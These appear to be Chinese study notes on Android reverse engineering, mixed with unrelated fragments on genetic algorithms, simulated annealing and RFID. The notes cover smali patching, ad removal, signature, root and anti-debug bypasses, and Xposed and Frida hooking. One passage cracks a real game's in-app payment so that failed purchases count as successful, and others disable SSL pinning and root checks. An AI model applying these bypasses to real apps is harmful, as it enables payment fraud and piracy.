a
RFID智能卡
Mifare Classic智能卡的加密算法:[proxmark.nl/files/Documents/13.56 MHz - MIFARE Classic/The_MIFARE_Hack.pdf](http://proxmark.nl/files/Documents/13.56 MHz - MIFARE Classic/The_MIFARE_Hack.pdf)
a
Mifare Classic智能卡的加密算法:[proxmark.nl/files/Documents/13.56 MHz - MIFARE Classic/The_MIFARE_Hack.pdf](http://proxmark.nl/files/Documents/13.56 MHz - MIFARE Classic/The_MIFARE_Hack.pdf)
s是
UART接口
通过约定比特率进行通信,通常包含如下比特
常用步骤
变异、交叉、适应度计算、选择
设置变异率,判断当前个体是否可以变异
1 | mutation_rate = 0.1 |
设置个体变异比例,判断当前个体能够变异的bits在哪里
1 | mutate_point = random.sample(range(1, len(chromosome)), int(len(chromosome) * mutation_point_rate)) |
可以设置一个交叉点,也可以设置多个交叉点,通常是百分之五十交叉
1 | # 交叉操作 |
即将生成的后代个体与期望达到的目标进行对比,计算差距,即适应度。
1 | # 计算适应度函数 |
这里的input_data
即为期望达到的目标
当种群达到一定规模后,需要控制种群数量,留下更多的优质基因,那么这时候就需要进行自然选择了,也就是选择那些和期望目标差距更小,适应度更小的后代。
1 | # 选择操作 |
按理说应该要加入这个算法的,即当繁殖几代之后,那些老一代就应该死去,不管是不是最优的
1 | # 主要遗传算法循环 |
依据设定最大种群数量,不断进行繁殖,直到种群数量已满,再进行下一轮的繁殖得到的后代应该进行自然选择。
主要就是降温和计算概率是否替换新的一代。
以旅行商TSP问题为例子
总的代码
1 | def simulated_annealing_tsp(cities, initial_temperature=1000.0, cooling_rate=0.95, min_temperature=0.1): |
设定初始温度,降温比例,最小温度,初代路径
1 | #初始温度 |
判断是否达到最低温度
1 | while temperature > min_temperature: |
生成新的路径
如果新的路径更优秀,距离更短,那么就直接替换
1 | #生成新的路径 |
如果新的一代更差,那么就依据当前温度,计算替换概率,(温度越高,概率越大),概率越大的,新的替换旧的概率就越大,然后降低问题。
这个计算概率不知道怎么个计算法
1 | else: |
降低温度
1 | # 降低温度 |
依次类推,直到达到最低温度跳出循环
《新人贴》初次尝试破解内购小游戏:切水果大作战 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
正常打开搜索失败字符串即可
定位到找到对应的三个函数payResultSuccess
和payResultFalse
,payResultCancel
可以用jd-gui
打开分析代码
同样搜索可以定位到对应的函数
然后在AndroidKill
的smali
代码窗口中将payResultSuccess
的代码原封不动复制到payResultFalse
和payResultCancel
即可,最后编译即可。
可以通过修改跳转来使得任意点击均可跳转到payResultSuccess
。
全局搜索payResultFalse
,在MiGuSdkPay$1.smali
中有对应的switch
跳转语句
这里的
1 | .line 54 |
即为声明switch
语句,跳转至pswitch_data_0
,在这个结构语句里面具体进行跳转
1 | .line 54 |
那么就是值为0则跳转pswitch_0
,为1则跳转pswitch_1
查看对应的java
源代码
可以看到对应的一些跳转,依据选择不同,那么就在smali
代码中修改对应的跳转即可,即将pswitch_0
修改为pswitch_1
即可。
主要获取到可以导入jni.h的知识,在TIPS
主要获取到IDA动态调试.so的知识,在TIPS
init_array和JNI_OnLoad会在so加载的时候就开始执行,所以程序也有可能会在这里开启线程进行反调试。
checkport
在MainActivity中调用了
如果存在结果,即0x5d8a=23946端口被占用,那么就会exit,否则就挑战成功。
可以通过android_server -p23947设置端口来绕过
init_array
在.so文件加载时就会被运行,比JNI_OnLoad早
对应函数
跳转函数
即fget按行读取,总共6次遍历,获取/proc/xx/status
的第六行,即TracePid
,查看里面的数据是否大于0,大于0则代表程序正在被调试,即退出。
可以刷机改内核,使得TracerPid永远为0
逆向修改内核,绕过TracerPID反调试 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
JNI_OnLoad函数
在执行System.loadLibrary("xxx.so")
时被调用
进入SearchObjProcess函数
查看是否有这些进程,有就退出
可以将android_server修改为其他名称
没成功,寄
不过调试最开始的需要在手机中这样运行才行,在Frida中好像也讲过
1 | am start -D -n demo2.jni.com.myapplication/.MainActivity |
参考基础知识中的汉化知识块。
同时MT
管理器还有一键翻译的功能,下载对应的翻译插件即可。
可以先进行通用搜索
查找到resources.arsc,这个也是汉化大头
然后可以直接点击翻译模式
点击[DEFAULT]
找到对应字符串即可修改
MT管理器就可以
通过图片资源ID,在XML搜索中查找到的XML,一般是用来定义图片布局大小和加载路径的,可以通过修改这个布局达到去除图片和替换图片的目的
MT不显示资源ID时,可以点击如下设置,取消ID转名称,这样好查找
然后找到app:srcCompat即可,复制这个7f0d000b资源ID
随后到resources.arsc中的编辑器
通过ID定位资源
即可查看到对应的资源路径,然后替换图片即可
有些字符串是一个资源,不是写在代码里面,使用开发者助手查找时通常为0x7xxxxx
这样的类型,那么就在MT管理器里面反编译classes.dex
用整型的16进制进行搜索
找到修改即可
可以用MT
管理器来获取一个APK
启动的Activity
的记录,在MT
主界面左上角点击三横线图标展开,启动Activity
记录服务
然后打开对应的APK
,切换回MT
管理器即可查看到
对于广告来说,去除的方法通常有如下几种
第一种:修改加载时间,把广告的显示时间修改为0秒即可
获取广告Activity
的名称,反编译classes.dex
进行类名搜索
然后找到类的smali
路径进行搜索
再进行代码搜索
进入到如下的AdActivity
类中代码进行分析
即在主函数onCreate
中调用了广告代码loadAd
,随后启动广告,持续3000ms
1 | protected void onCreate(Bundle bundle) { |
那么将3000ms
调成0ms
即可跳过广告。
第二种:修改Activity
执行顺序,跳过广告的Activity
这个最好还是不用,只需要在AndroidManifest.xml
中将主Activity
修改为自己需要的就行,比如这里就直接将主Activity
修改为第三关的Activity
。但是很多的Activity
都会加载资源,直接跳转到后面的Acitivity
容易导致应用GG
。
第三种:修改切换Activity
的代码
即找到调用Activity
的代码,将调用广告Activity
处的代码直接修改为调用第三关的Acitvity
首先还是查找一下广告Activity
,然后需要排查一下,本身的Activity
去除一下,查找调用到广告的Activity
,排查找到com.zj.wuaipojie.ui.Adapter
中有调用
进入查看定位关键代码
1 | private static final void m0onCreateViewHolder$lambda-0(ViewHolder viewHolder, View view) { |
可以看到这里进入第三关时会先加载广告Acitivity
,那么这里把进入第三关的代码修改为直接进入第三关的Activity
即可,在smali
代码中进行修改,将Lcom/zj/wuaipojie/ui/AdActivity
修改为Lcom/zj/wuaipojie/ui/ChallengeSecond
即可。
然后保存重新安装即可。
最主要的是定位弹窗在哪。
针对更新弹窗而言,一般都是在代码逻辑里判断新版本和当前版本是否版本号一致,那么可以直接修改XML
中的versiocode
为最新版本即可
还有的可以用算法助手工具进行直接Hook
,有弹窗定位,关键词屏蔽功能等,这样就可以把某些返回键禁止的弹窗给hook
了。
修改dex
代码
使用开发助手的日志功能对弹窗进行定位,找到对应的代码,注释掉show
方法修改即可。
抓包修改响应体
使用开发助手->布局查看功能找到横幅广告图片的view Id在哪,修改高度宽度即可
随后进行XML
搜索即可,修改长宽。
另外也可以加入一段代码
1 | android:visibility="gone" |
使用算法助手的弹窗定位功能,定位到关键函数,这个函数是被混淆过的函数。
复制这个方法名称,在MT中搜索
定位之后,里面有三个函数都会有弹窗调用
都把那个show给注释掉即可,或者查找调用点,在调用点处注释即可
或者使用关键字”弹窗”来定位代码也是一样的。
首先需要将AndroidManifest.xml
中加入调试权限
然后重新安装,再把安装包放入JEB
进行分析,在需要下断点的地方按ctrl + b
即可下断点。
随后使用adb
连上手机,输入如下命令开启调试功能
1 | adb shell am start -D -n com.zj.wuaipojie/.ui.MainActivity |
命令解析为
adb shell am start -D -n
adb shell am start -D -n 包名/类名
am start -n 表示启动一个activity
am start -D 表示将应用设置为可调试模式
这个类名为主类名才行。
输入命令后,在手机中会显示如下弹窗
之后点击JEB
上的调试即可
其他的调试方法有点麻烦,不研究了。
.dex
文件添加到apk
中,长按出现添加按钮随后在需要获取的寄存器值的位置,加入如下代码
1 | invoke-static {对应寄存器}, Lcom/mtools/LogUtils;->v(Ljava/lang/Object;)V |
如下图所示
获取v0
的值
算法助手启用onClick监听,分析到是在MainActivity中,或者通过字符串搜索定位资源ID,然后定位资源ID调用的代码
那么在该类中查找一下onClick,可以找到对应的函数
直接让checkSN永远返回1即可,在MT管理器中查找修改,添加如下即可
动态调试的话,也还是有点麻烦,拉到把。
通常就是校验包的hash值是否被修改
普通签名校验
系统将应用的签名信息封装在 PackageInfo 中,调用 PackageManager 的 getPackageInfo(String packageName, int flags) 即可获取指定包名的签名信息
1 | private boolean SignCheck() { |
这种签名一般在签名校验的部分,注释掉签名校验错误的代码,或者将那个trueSignMD5
签名修改为实际签名即可。
校验Application
CRC校验
获取dex的crc的值,即当修改了dex,它的值必定会发生改变
1 | ZipEntry entry = new ZipFile(getPackageCodePath()).getEntry("classes.dex"); |
hash校验
获取整个APK的hash值,然后进行比对
检查设备的 build tags
是否包含 test-keys
。这通常是用于测试的设备,因此如果检测到这个标记,则可以认为设备已被 root。
检查设备是否存在一些特定的文件,这些文件通常被用于执行 root 操作。如果检测到这些文件,则可以认为设备已被 root。比如如下一些常见的
1 | "/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su","/system/bin/failsafe/su", "/data/local/su", "/su/bin/su |
执行which su,来查看是否有输出
通过检测系统的 Build
对象来判断当前设备是否为模拟器。具体方法是检测 Build.FINGERPRINT
属性是否包含字符串 "generic"
。
一键过签名工具:
MT、NP、ARMPro、CNFIX、Modex
PM代理
来源于:https://github.com/fourbrother/HookPmsSignature
使用PM手撕没成功,不是很会
smali.jar:从smali转为dex
1 | java -jar smali.jar assemble -o 输出目录 输入目录 |
baksmali.jar:从dex转为smali
1 | java -jar baksmali.jar d classes.dex |
IO重定向
不签名安装
签名对抗还是手撕签名好一点,可以用一些hook
助手来查找签名
PM代理有点过时,但是对于某些应用签名还是可以搞定的。
可以用算法助手进行拦截
首先PmsHookBinderInvocationHandler.smali和ServiceManagerWraper.smali
修改ServiceManagerWraper.smali中的内容,将签名信息和包名修改为指定安装包信息
签名信息为如下原始数据内容
然后将两个smali文件放到一个文件夹,使用命令
1 | java -jar smali.jar assemble -o HookPMS.dex .\zhengji\Hook\ |
生成得到HookPMS.dex
随后将HookPMS.dex导入安装包,重新命名classes2.dex,重新打包
随后搜索attachBaseContext方法,在MainApplication中
加入如下代码
1 | invoke-static {p1}, Lzhengji/Hook/ServiceManagerWraper;->hookPMS(Landroid/content/Context;)V |
注意要和HookPMS.dex中的路径一致
Pixel4不行,用模拟器可以跑通
hook了底层打开文件的一些路径
1 | using namespace std; |
查找到check_crc的调用地方
点击罗盘
长按check_crc
即可找到目的方法
然后在开头写入如下代码,注意这个只是调用代码,实际的重定向的代码是一个so中的代码,作者已经写入到安装包了,我们只需要调用即可,后续需要自己将so打入apk
1 | sget-object p10, Lcom/zj/wuaipojie/util/ContextUtils;->INSTANCE:Lcom/zj/wuaipojie/util/ContextUtils; |
随后在软件数据目录中新建files文件夹,放入原安装包
重新命名为base.apk
在我的测试中,hash可以过,crc过不了
安卓自带的
1 | fun checkForDebugger() { |
debuggable属性
先检测手机的debuggable属性,没有检测到再检测APK内部的xml的那个debuggable属性
ptrace检测
1 | int ptrace_protect()//ptrace附加自身线程 会导致此进程TracerPid 变为父进程的TracerPid 即zygote |
调试进程名称检测
1 | int SearchObjProcess() |
https://bbs.pediy.com/thread-268155.htm
https://github.com/xxr0ss/AntiFrida
普通签名校验:
重新签名安装,检测到应用退出,开启算法助手退出拦截和日志捕获,定位到com.zj.wuaipojie.ui.ChallengeFifth.onCreate
然后分析onCreate,存在checkSign和root检测
剩下的分析一下,把checkSign返回为True即可,即在return之前始终赋值返回值为1
root检测部分也是一样的,返回值赋值为0即可
API校验:
即获取包的签名信息,转换为字符串之后进行base64编码,然后md5输出
如下所示
要么可以重定向,要么进行PM代理,或者直接改代码,返回值修改为1即可
CRC校验:
详见代码
即校验classes.dex文件,这里通用可以返回值赋值为1解决。
但是这里有个try-catch,并且catch始终返回为true。那么可以尝试让try中出错,进而跳转到catch,这里让classes.dex字符串修改为classes2.dex,这样找不到这个文件自然会出错,跳转到catch。
PM校验:详见PM代理部分
Hash校验:
直接用返回1解决
SO层校验
修改if条件语句即可,if-eqz修改为if-nez
整体通过
创建空白的android项目,使用java和android7作为目标
复制xposed的jar包到项目的libs目录
修改xml文件配置,src->main->AndroidManifest.xml,修改如下
1 |
|
修改build.gradle.kts
1 | implementation(files("libs\\XposedBridgeAPI-89.jar")) |
区别在于implementation 使用该方式依赖的库将会参与编译和打包 compileOnly 只在编译时有效,不会参与打包
然后app新建目录,new->Folder->Assets Folder
assets目录下创建文件,为模块入口
app->src->java->com下新建hook类
然后需要在xposed_init中指定hook类入口
继承了IXposedHookLoadPackag便拥有了hook的能力,然后在Hook.java里面写代码就行
首先指定需要hook的包
1 | public class Hook implements IXposedHookLoadPackage { |
添加了if语句代表只hook掉com.zj.wuaipojie这个apk
在jadx中可以选定某个方法,复制为xposed片段,比如这里选择hook掉a方法
复制之后放入if语句后面即可,需要导入包,然后在修改classLoader,添加前缀loadPackageParam.classLoader
1 | XposedHelpers.findAndHookMethod("com.zj.wuaipojie.Demo", loadPackageParam.classLoader, "a", java.lang.String.class, new XC_MethodHook() { |
即传入类,classLoader,方法名称,参数类型,然后重写beforeHookedMethod和afterHookedMethod回调函数即可
或者直接用反射来获取,通常可以用来hook自定义或者复杂函数
1 | Class a = loadPackageParam.classLoader.loadClass("类名"); |
在beforeHookedMethod中处理参数
1 | String a = "aaaaaaaa"; |
在afterHookedMethod中处理返回值
1 | Log.d("zj2595",param.getResult().toString()); //获取返回值 |
类似的
1 | Class a = classLoader.loadClass("类名") |
针对一些加固的APP,需要先获取到classloader才能接着hook
1 | XposedHelpers.findAndHookMethod(Application.class, "attach", Context.class, new XC_MethodHook() { |
没有的就用Object
string->Object
静态变量
static的,类被初始化,同步进行初始化
1 | final Class clazz = XposedHelpers.findClass("类名", loadPackageParam.classLoader); |
实例变量
类被实例化(产生一个对象的时候),进行初始化
1 | final Class clazz = XposedHelpers.findClass("类名", classLoader); |
1 | //无参构造函数,没有传入参数 |
一个dex中最多只能存在65535个方法,如果超过这个数,就会重新生成dex文件
1 | XposedHelpers.findAndHookMethod(Application.class, "attach", Context.class, new XC_MethodHook() { |
静态函数
1 | Class clazz = XposedHelpers.findClass("类名",loadPackageParam.classLoader); |
实例函数
1 | Class clazz = XposedHelpers.findClass("类名",loadPackageParam.classLoader); |
类中还有一个class,其实就是加入$
符号来寻找类
1 | XposedHelpers.findAndHookMethod("com.zj.wuaipojie.Demo$InnerClass", loadPackageParam.classLoader, "innerFunc",String.class, new XC_MethodHook() { |
即先hook住某个函数,然后找到类之后对应调用即可
1 | Class clazz = XposedHelpers.findClass("com.zj.wuaipojie.Demo", loadPackageParam.classLoader); |
1 | XposedHelpers.findAndHookMethod(ClassLoader.class, "loadClass", String.class, new XC_MethodHook() { |
定位”已过期”字符串赋值部分的堆栈
1 | XposedHelpers.findAndHookMethod("android.widget.TextView", loadPackageParam.classLoader, "setText", CharSequence.class, new XC_MethodHook() { |
检测点击事件对应的方法
1 | Class clazz = XposedHelpers.findClass("android.view.View", loadPackageParam.classLoader); |
1 | XposedHelpers.findAndHookMethod("com.zj.wuaipojie.ui.ChallengeSixth", loadPackageParam.classLoader, |
使用https://github.com/LSPosed/LSPatch即可
先安装模块,然后打开LPatch,在应用栏添加应用
选择已安装的APK,或者存储目录都行
本地模式:只能在本地设备运行,相当于还是hook
集成模式:将模块嵌入到APP中,可以在其他手机运行,这个其实也会修改签名
点击嵌入模块,然后选择对应的模块即可
覆写版本号,选择签名强度开始修补即可
修补后会在之前选定的存储目录中生成对应的APP,此时安装即可。
有一些简单hook的教程,还有Xposed的源码解析
GitHub - littleWhiteDuck/SimpleHook: SimpleHook hook部分代码
ELF就不介绍了
在Frida逆向与抓包实战有介绍
如之前所分析的,调用的是so里面的getSercet函数,打开IDA分析,修改函数如下返回值
修改为MOV W0,1即可,再用MT导入apk包重新安装即可。
函数名 | 描述 |
---|---|
android_dlopen_ext() 、dlopen() 、do_dlopen() |
这三个函数主要用于加载库文件。android_dlopen_ext 是系统的一个函数,用于在运行时动态加载共享库。与标准的 dlopen() 函数相比,android_dlopen_ext 提供了更多的参数选项和扩展功能,例如支持命名空间、符号版本等特性。 |
find_library() |
find_library() 函数用于查找库,基本的用途是给定一个库的名字,然后查找并返回这个库的路径。 |
call_constructors() |
call_constructors() 是用于调用动态加载库中的构造函数的函数。 |
init |
库的构造函数,用于初始化库中的静态变量或执行其他需要在库被加载时完成的任务。如果没有定义init 函数,系统将不会执行任何动作。需要注意的是,init 函数不应该有任何参数,并且也没有返回值。 |
init_array |
init_array 是ELF(Executable and Linkable Format,可执行和可链接格式)二进制格式中的一个特殊段(section),这个段包含了一些函数的指针,这些函数将在main() 函数执行前被调用,用于初始化静态局部变量和全局变量。 |
jni_onload |
这是Android JNI(Java Native Interface)中的一个函数。当一个native库被系统加载时,该函数会被自动调用。JNI_OnLoad 可以做一些初始化工作,例如注册你的native方法或者初始化一些数据结构。如果你的native库没有定义这个函数,那么JNI会使用默认的行为。JNI_OnLoad 的返回值应该是需要的JNI版本,一般返回JNI_VERSION_1_6 。 |
应用级别的:java_com_XXX;
外壳级别的:JNI_Onload,.init,.init_array(反调试);
系统级别的:fopen,fget,dvmdexfileopen(脱壳);
1 | adb shell am start -D -n com.zj.wuaipojie/.ui.ChallengeEight (去掉-D 则表示不以debug模式启动app) |
PS:若不是以debug启动则不需要输入后两条命令
有时候so文件是在apk点击登录或者什么操作之后才会加载调用,这时候就不需要adb shell am start
进行启动,在手机启动apk然后开启端口转发,附加就行,比较不容易出错。
常见防护手段:
主要功能 | 描述 |
---|---|
SO加壳 | 对C/C++源码编译出来的SO文件进行加壳,使SO文件无法正确反编译和反汇编。 |
SO源码虚拟化保护 | 将原始汇编指令翻译为自定义的虚拟机指令,跳转到自定义的虚拟机中执行,每次保护生成的虚拟机指令随机,且对虚拟机解释器再度混淆 |
SO防调用 | 对SO文件进行授权绑定,防止SO文件被非授权应用调用运行。 |
SO Linker | 对整个SO文件进行加密压缩,包括代码段、符号表和字符串等,运行时再解密解压缩到内存,从而有效的防止SO数据的泄露。 |
SO源码混淆 | 常量字符串加密、分裂基本块、等价指令替换、虚假控制流、控制流平坦化。 |
SO环境监测 | 防frida\xposed\root、防动态调试、防模拟器、防多开等 |
OLLVM具体分析相关部分放在IDA逆向技巧了,包括交叉引用、Trace等等
frida注入的原理就是找到目标进程,使用ptrace跟踪目标进程获取mmap,dlpoen,dlsym等函数库的偏移获取mmap在目标进程申请一段内存空间将在目标进程中找到存放frida-agent-32/64.so的空间启动执行各种操作由agent去实现
组件名称 | 功能描述 |
---|---|
frida-gum | 提供了inline-hook的核心实现,还包含了代码跟踪模块Stalker,用于内存访问监控的MemoryAccessMonitor,以及符号查找、栈回溯实现、内存扫描、动态代码生成和重定位等功能 |
frida-core | fridahook的核心,具有进程注入、进程间通信、会话管理、脚本生命周期管理等功能,屏蔽部分底层的实现细节并给最终用户提供开箱即用的操作接口。包含了frida-server、frida-gadget、frida-agent、frida-helper、frida-inject等关键模块和组件,以及之间的互相通信底座 |
frida-gadget | 本身是一个动态库,可以通过重打包修改动态库的依赖或者修改smali代码去实现向三方应用注入gadget,从而实现Frida的持久化或免root |
frida-server | 本质上是一个二进制文件,类似于前面学习到的android_server,需要在目标设备上运行并转发端口,在Frida hook中起到关键作用 |
环境配置参考《Frida逆向与抓包实战》
即CLI命令行和RPC使用js代码注入两种模式
spawn主动启动模式和attach附加模式
API名称 | 描述 |
---|---|
Java.use(className) |
获取指定的Java类并使其在JavaScript代码中可用。 |
Java.perform(callback) |
确保回调函数在Java的主线程上执行。 |
Java.choose(className, callbacks) |
枚举指定类的所有实例。 |
Java.cast(obj, cls) |
将一个Java对象转换成另一个Java类的实例。 |
Java.enumerateLoadedClasses(callbacks) |
枚举进程中已经加载的所有Java类。 |
Java.enumerateClassLoaders(callbacks) |
枚举进程中存在的所有Java类加载器。 |
Java.enumerateMethods(targetClassMethod) |
枚举指定类的所有方法。 |
日志方法 | 描述 | 区别 |
---|---|---|
console.log() |
使用JavaScript直接进行日志打印 | 多用于在CLI模式中,console.log() 直接输出到命令行界面,使用户可以实时查看。在RPC模式中,console.log() 同样输出在命令行,但可能被Python脚本的输出内容掩盖。 |
send() |
Frida的专有方法,用于发送数据或日志到外部Python脚本 | 多用于RPC模式中,它允许JavaScript脚本发送数据到Python脚本,Python脚本可以进一步处理或记录这些数据。 |
通过logcat |grep "D.zj2595"
日志捕获
1 | function main(){ |
如下即重新实现com.zj.wuaipojie.Demo.a函数,打印参数和返回值
1 | //定义一个名为hookTest1的函数 |
在这里面修改参数,return返回值就可以修改这个函数了。
如果方法是重载的,那么需要设置一下具体的参数,比如上面的函数a是重载的,那么需要设定如下
1 | function hookTest1(){ |
即添加overload指定对应重载函数的参数来确定该函数
借助smali代码来查看,比如如下Inner函数中的Animal参数类型
切换为smali代码,第一个参数类型即为com.zj.wuaipojie.Demo$Animal
对应hook代码如下,修改第二个参数为”aaaaaaaaaa”
1 | function hookTest1(){ |
用$init来表示构造函数,同样重载的构造函数也是类似的
1 | function hookTest3(){ |
1 | utils.staticField.value = "我是被修改的静态变量"; |
注意字段名与函数名相同 前面加个下划线
1 | Java.choose("com.zj.wuaipojie.Demo", { |
实际上在这个例子里面,大佬说hoos是发生在obj.test()函数调用之后的,但是也很奇怪啊,如果是真的,那么应该是obj.test()函数之前的所有数据均无法被更改,反正很奇怪。
一样的,就是获取到目标类就行
1 | function hookTest6(){ |
1 | function hookTest7(){ |
1 | function hookTest8(){ |
静态方法
1 | var ClassName=Java.use("com.zj.wuaipojie.Demo"); |
非静态方法
和变量类似,都是要获取对应类的对象
1 | var ret = null; |
objection是基于frida的命令行hook集合工具, 可以让你不写代码, 敲几句命令就可以对java函数的高颗粒度hook, 还支持RPC调用。可以实现诸如内存搜索、类和模块搜索、方法hook打印参数返回值调用栈等常用功能,是一个非常方便的,逆向必备、内存漫游神器。
objection -g 包名 explore:即开始探索,会直接启动应用
objection -g 进程名 explore –startup-command “android hooking watch class 路径.类名” :代表启动应用前就开始Hook,命令为后面的那个
memory list modules -查看内存中加载的库
memory list exports so名称 - 查看库的导出函数
android hooking list activities -查看内存中加载的activity /android
android hooking list services -查看内存中加载的services,好像不太兼容
android intent launch_activity activity名称:可以直接拉起某个activity
关闭ssl校验:android sslpinning disable
关闭root校验:android root disable
从内存中查看数据
android heap search instances 类名(命令):查看某个类对象
这是内存中没加载的情况
有加载的是如下情况
android heap execute [hashcode] getPublicInt(实例的hashcode+方法名) :调用实例的方法
无参函数
有参函数
进入evaluate编辑界面,clazz.a(“ssss”),即调用clazz这个实例中的a方法,传入参数为”ssss”,然后按照提示按ESC,然后Enter即可
android hooking list classes -列出内存中所有的类(结果比静态分析的更准确),用的不多
android hooking search classes 关键类名 -在内存中所有已加载的类中搜索包含特定关键词的类,以wuaipojie
为关键词
android hooking search methods 关键方法名 -在内存中所有已加载的类的方法中搜索包含特定关键词的方法(一般不建议使用,特别耗时,还可能崩溃)
android hooking list class_methods 类名 -内存漫游类中的所有方法
这个HOOK并不会使得这些方法失效,相当于只是查看
android hooking watch class 类名 :hook类的所有方法
android hooking watch class_method 类名.方法名 –dump-args –dump-return –dump-backtrace :hook方法的参数、返回值和调用栈
android hooking watch class_method 类名.$init :hook构造函数
貌似需要frida14,frida16可能写法有点出入
1 | function hookTest1(){ |
JAVA层,同样也是获取到类之后重新实现一下函数就行
1 | function hookTest1(){ |
SO层,即需要通过函数名称获取
1 | function hookTest2(){ |
寄存器
1 | console.log(this.context.x1); // 打印寄存器内容 |
整数
1 | console.log(args[1].toInt32()); //toInt32()转十进制 |
Char字符形式
1 | console.log(args[2].readCString()); //读取字符串 char类型 |
字符串形式
1 | // 方法一 |
内存DUMP
1 | console.log(hexdump(args[2])); //内存dump |
整数
1 | //修改参数 |
字符串修改
1 | //修改参数 |
1 | var moduleAddr1 = Process.findModuleByName("lib52pojie.so").base; |
可能存在函数运行,但是没有设置JNI静态导出类型的,只是在SO层内部使用,这时候可以通过加载地址来调用,同样对于JNI动态注册类型也适用。
安卓里一般32 位的 so 中都是thumb
指令,64 位的 so 中都是arm
指令
通过IDA里的opcode bytes来判断
arm 指令为 4 个字节(options -> general -> Number of opcode bytes (non-graph) 输入4)
thumb指令不确定的,有的4字节,有的2字节
地址计算:
thumb 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移 +1
arm 指令,函数地址计算方式: so 基址 + 函数在 so 中的偏移
1 | function hookTest6(){ |
dlopen是用来加载so文件的
即可以通过hook时判断参数filename是否为我们想要的.so文件,来指定Hook到.so文件加载时运行的函数逻辑,这里即为关注hook加载lib52pojie.so文件的函数逻辑
1 | function hook_dlopen() { |
一般用在脱壳当中
1 | //一般写在app的私有目录里,不然会报错:failed to open file (Permission denied)(实际上就是权限不足) |
写法和函数地址计算时的写法一样的,其实就是定位到某条汇编,然后进行Hook。
我感觉函数层面的原理就是基于这个的,只是当检测为函数时,就可以操作args了。而且这个onLeave,可能检测的是汇编 RET指令,然后修改返回的X0寄存器作为返回值,因为在这个例子里面,onLeave也能修改适用。
这里Hook的是check函数中的如下位置
1 | function inline_hook(){ |
这里Hook到1042C,然后给X0赋值为1也是一样的。那么其实对于Frida针对So层的Hook,其实具有更加细腻的汇编层面,那这个可以修改汇编代码吗?
[Online ARM to HEX Converter (armconverter.com)](https://armconverter.com/?code=mov w0,1)
读取
1 | var soAddr = Module.findBaseAddress("lib52pojie.so"); |
写入
1 | function hexToBytes(str) { |
会报错
1 | Error: expected a pointer |
这里即主动调用AES加密,参数和返回值均为字符串指针,那么就写pointer
1 | var funcAddr = Module.findBaseAddress("lib52pojie.so").add(0xe85c); |
对应的数据类型如下
参考JavaScript API | Frida • A world-class dynamic instrumentation toolkit
数据类型 | 描述 |
---|---|
void | 无返回值 |
pointer | 指针 |
int | 整数 |
long | 长整数 |
char | 字符 |
float | 浮点数 |
double | 双精度浮点数 |
bool | 布尔值 |
手动去除,搜索app kill,找到第一个,进入查找f函数,修改f函数后保存
1 | .method public static f()Ljava/util/List; |
https://www.52pojie.cn/thread-1781093-1-1.html
使用apktool进行反编译,apktool d xxx.apk
。将class.dex
从apk中解包出来,用d2j-dex2jar class.dex
转换为class-dex2jar.jar
包
手写Activity,保存为myActivity.smali
1 | ###### Class com.p005zj.wuaipojie.p006ui.MyActivity (com.zj.wuaipojie.ui.MyActivity) |
对应java代码为
1 | import android.content.Intent; |
找到apk中的存放activity的位置,放入myActivity,这个包里的路径为:教程demo(更新)\smali\com\zj\wuaipojie\ui
然后添加布局文件hello_word.xml,放到教程demo(更新)\res\layout\
下
1 |
|
添加布局文件,那么还需要添加布局文件的的资源ID,在教程demo(更新)\smali\com\zj\wuaipojie\R$layout.smali
文件中添加如下
需要确保这个id,即0x7f0b007e
在教程demo(更新)\res\values\public.xml
中是没有的,然后在对应layout标签的最下面添加即可
修改AndroidManifest.xml,将myActivity设置为主Activity
使用apktool进行编译,apktool b xxx -o xxx
,提示如下错误
换成最新版本的可以成功,或者用AndroidKiller,替换一下apktool就行,但是不要改脚本,改apktool的文件名就可以。
正常签名
完成之后,安装
参考的书《Frida逆向与抓包实战》
还是用bluestacks5
,版本为android9
,bluestacks.conf
不要设置只读,不然adb
的端口也被固定,这样windows
启动之后说不定就占了这个端口,这样就不太行了。
然后windows
安装对应的python、frida、frida-tools
即可,这里用的是python3.8.0
1 | pip install frida==12.8.0 |
然后在github
的frida
下载对应版本架构的server
,可以通过adb
进入模拟器输入
1 | getprop ro.product.cpu.abi |
查看架构,这里是x86_64
的,那么下载如下的frida-server
之后将frida-server
放入模拟器的/data/local/tmp
中赋予权限运行即可。
然后在windows
下frida
运行即可hook
,有点类似gdb
1 | frida -U -l .\Chap03\2.js com.example.fridapro |
最基础的注入,使用如下js
脚本
1 | setTimeout( |
对应注入命令
1 | frida -U -l hello.js android.process.media |
其中-U
为USB
设备,-l
用于指定注入脚本路径,将代码注入到android.process.media
这个进程中,即可打印出hello world!
。
对应java
代码编写的app
如下
1 | package com.example.fridapro; |
即使用fun
函数循环打印r0ysue.sum
以及算数和,那么就可以使用frida
对这个fun
函数进行HOOK
,如下
1 | function main(){ |
然后在模拟器中运行app
,windows
中对应的命令也是类似的,指定一下进程名即可
1 | frida -U -l 1.js com.example.fridapro |
使用adb logcat
查看即可发现函数参数被修改
可以使用Frida
对APP
中没有被调用的函数进行主动调用
例子APP
如下
1 | package com.example.fridapro; |
加入了secrect
相关函数,其中一个是全局静态的。
对应主动调用的Frida
相关的代码如下
1 | function main(){ |
运行之后,查看adb logcat
即可看到secrect
函数被调用
如果直接运行MainAcitivity.secret();
,则会出现如下错误
可以使用python
脚本完成js
脚本对进程的注入以及hook
。
例子APP
如下
1 | package com.example.fridapro; |
在secrect
函数中加入了对total
属性进行处理的操作。在使用时,如果是static
的变量,则直接类加变量名即可获取。如果是类里面的属性变量,则如下代码,也是需要获取类实例才可以的。
1 | function getTotalValue(){ |
那么即可获取到变量值了
下面尝试RPC
自动化,在上述js
代码中加入CallSecrectFunc
来调用secrect
函数,如下代码。再加上rpc
导出代码,方便后续python
复用
1 | function CallSecretFunc(){ |
然后再运行导出即可
查看运行的包:frida-ps -U
当函数被重载之后,使用Frida
进行注入则需要指定参数类型,如下
1 | MainAcitivity.fun.overload('int', 'int').implementation = function(x,y){ |
Android
中常用
新建Android studio
项目,选择Native C++
项目,响应的MainActivity
代码如下
1 | package com.example.ndkpro; |
下面进行一些简单的解析:
System.loadLibrary("ndkpro")
:代表将这个动态库加载到内存中
public native String stringFromJNI()
:这个函数实际上是一个JNI
函数,真实的函数内容是通过C/C++
